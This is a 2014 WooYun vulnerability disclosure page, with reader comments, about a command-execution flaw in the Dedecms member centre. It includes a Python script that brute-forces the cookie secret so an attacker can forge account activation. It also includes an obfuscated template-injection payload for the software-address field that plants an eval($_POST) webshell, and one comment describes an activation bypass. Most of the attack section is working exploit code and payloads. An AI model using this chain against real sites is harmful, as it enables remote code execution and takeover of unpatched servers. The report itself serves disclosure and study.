当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(112) 关注此漏洞

缺陷编号: WooYun-2014-52010

漏洞标题: Dedecms某命令执行漏洞

相关厂商: Dedecms

漏洞作者: kobin97认证白帽子

提交时间: 2014-02-25 20:56

公开时间: 2014-05-26 20:56

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方框架 php代码执行

17人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-28: 厂商已经确认,细节仅向厂商公开
2014-03-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-04-24: 细节向核心白帽子及相关领域专家公开
2014-05-04: 细节向普通白帽子公开
2014-05-14: 细节向实习白帽子公开
2014-05-26: 细节向公众公开

简要描述:

这个命令执行漏洞也存在有一段时间了,需要会员中心,所以有点鸡肋。。
在以前的版本还需要后台一些配置才行。
但发现最新版本,默认安装,开了会员中心就能利用了(不管邮件验证哦!)。

详细说明:

首先,会员中心开放,注册一个号。

默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作。



#先说说这个激活吧:

我们看看激活函数 index_do.php

code 区域
$mid = intval($mid);
if(empty($mid))
{
ShowMsg('你的效验串不合法!', '-1');
exit();
}
$row = $dsql->GetOne("SELECT * FROM `#@__member` WHERE mid='{$mid}' ");
$needUserhash = md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);
if($needUserhash != $userhash)
{
ShowMsg('你的效验串不合法!', '-1');
exit();
}





注意到:md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);

mid email 已知。就是差 $cfg_cookie_encode 没法知道。

搜索 $cfg_cookie_encode 的使用

发现:

cookie.helper.php 中

code 区域
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}





查看 cookie ,不难发现:

3.jpg





即:

substr(md5($cfg_cookie_encode."8"),0,16) == "b07a81b5365b0449"



我们再看看 $cfg_cookie_encode 是怎样生成的

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));



即:

A-Z a-z A-Z A-Z a-z 1000-9999 A-Z

就这几位,很有规律。

我简单写一个爆破程序

code 区域
#! /usr/bin/env python
#-*- coding: utf-8 -*-
from hashlib import md5
import sys
import string

def getmd5(str):
m = md5()
m.update(str)
return m.hexdigest()

if __name__ == "__main__":
if len(sys.argv) == 3:
value=str(sys.argv[1])
ckMd5=str(sys.argv[2])
lowercase = string.lowercase
uppercase = string.uppercase
for a1 in uppercase:
for a2 in lowercase:
for a3 in uppercase:
for a4 in uppercase:
for a5 in lowercase:
for a6 in range(1000,10000):
for a7 in uppercase:
print (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)
result = getmd5(a1 + a2 + a3 + a4 + a5 + str(a6) + a7 + value)[:16];
if result == ckMd5:
print '----------------------------'
print 'ck:' + (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)
sys.exit(0)
sys.exit(0)
else:
print ("usage: %s value ckMd5" % sys.argv[0])
sys.exit(-1)





离线爆破,很快会有结果。不过这里的py效率不高,也可以直接生成字典。方便秒查

A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注册时 id



或者其它md5爆破工具也行

1.jpg





结果出来后:

OeQDg2992Z--8--aaaaaa@**.**.**.**

943ea8a69319e9dd17bc3b8245631300



**.**.**.**/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300



会员激活成功了。。。可以进入下一步操作。



转到内容 -> 上传软件 ,这里可以添加内容(旧版默认是没有隶属栏目的,所以不能利用,最新版带有了。)



#命令执行:

添加上传软件

本地地址 http://**.**.**.**

其它乱填就行,添加成功后,再次进入修改界面



软件地址改为:



http://**.**.**.**}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}



其实利用的是对软件地址的解释漏洞

可以打开 data\tplcache 目录,找到相关解释后的文件



2.jpg





可以从上图看到,数组的键被闭合上了。

再次打开修改页面时,即包含了该文件,从而造成命令执行漏洞。



(ps:5.6版,插入的代码可能有所不同,请自行测试)

漏洞证明:

4.jpg

修复方案:

我也不懂了,很久的漏洞。

版权声明:转载请注明来源 kobin97@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-02-28 14:20

厂商回复:

已经修复,感谢反馈

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-02-25 20:56 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    命令执行是说可以拿shell么

  2. 2014-02-25 20:56 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    前排第一个关注!

  3. 2014-02-25 20:57 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)
    0

    XXOOing

  4. 2014-02-25 20:58 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
    0

    坐等细节~

  5. 2014-02-25 20:59 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    你关注的白帽子 kobin97 发表了漏洞 Dedecms某命令执行漏洞

  6. 2014-02-25 21:00 | My5t3ry ( 实习白帽子 | Rank:35 漏洞数:14 )
    1

    屌,刚刚分析完乌云这两天的两个漏洞,kobin97黑阔发的真的不鸡肋啊

  7. 2014-02-25 21:11 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    给力死了!洞主你们是互砍抢镜吗……

  8. 2014-02-25 21:32 | zzR 认证白帽子 ( 核心白帽子 | Rank:1408 漏洞数:125 | 东方红**联盟欢迎你-0-)
    0

    前排卖摔炮、棒棒糖-----牛花花

  9. 2014-02-25 21:41 | niliu 认证白帽子 ( 核心白帽子 | Rank:1719 漏洞数:226 | 逆流而上)
    0

    腿收一下

  10. 2014-02-25 22:15 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    我擦前排

  11. 2014-02-25 22:18 | lsh4ck ( 实习白帽子 | Rank:81 漏洞数:14 | 不是黑客!但是黑客手段都要会?)
    0

    dede是不是跑出内奸了这两天。。。出来造福社会么

  12. 2014-02-25 22:31 | txcbg ( 普通白帽子 | Rank:392 漏洞数:54 | 说点什么呢?)
    0

    DEDE这两天被爆了这么多洞

  13. 2014-02-25 22:32 | Master ( 实习白帽子 | Rank:33 漏洞数:10 )
    1

    @My5t3ry 好屌 By:小冰

  14. 2014-02-25 23:04 | her0ma 认证白帽子 ( 普通白帽子 | Rank:681 漏洞数:100 | 专注小厂商三十年!)
    0

    dedecms 你为什么还活着?

  15. 2014-02-25 23:25 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
    0

    目测会火

  16. 2014-02-26 08:33 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    0

    命令执行是说可以拿shell么

  17. 2014-02-26 13:21 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)
    0

    你们再这样下去,dede工程师要用板砖抗议了

  18. 2014-02-28 14:54 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)
    0

    @My5t3ry 快分析完了告诉我结果

  19. 2014-05-14 22:43 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)
    1

    python 4.py 17 d7c2eaeed6df6c39 这样做吧

  20. 2014-05-15 00:49 | loopx9 认证白帽子 ( 普通白帽子 | Rank:789 漏洞数:81 | ..)
    1

    @kobin97 激活貌似能绕, /member/index_do.php?fmdo=user&dopost=regnew&step=2 注册后直接访问 "完善资料" 的url,"完善"一下就激活了。@Dedecms 这也算个洞吧,最新版本也还存在。

  21. 2014-05-15 17:59 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)
    0

    感谢 @kobin97

  22. 2014-05-31 08:11 | lostwolf ( 路人 | Rank:2 漏洞数:2 | 学习中...)
    0

    很肥美的洞洞

  23. 2015-07-21 14:55 | Dreamin ( 路人 | Rank:4 漏洞数:1 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)
    0

    @loopx9 牛逼,~

登录后才能发表评论,请先 登录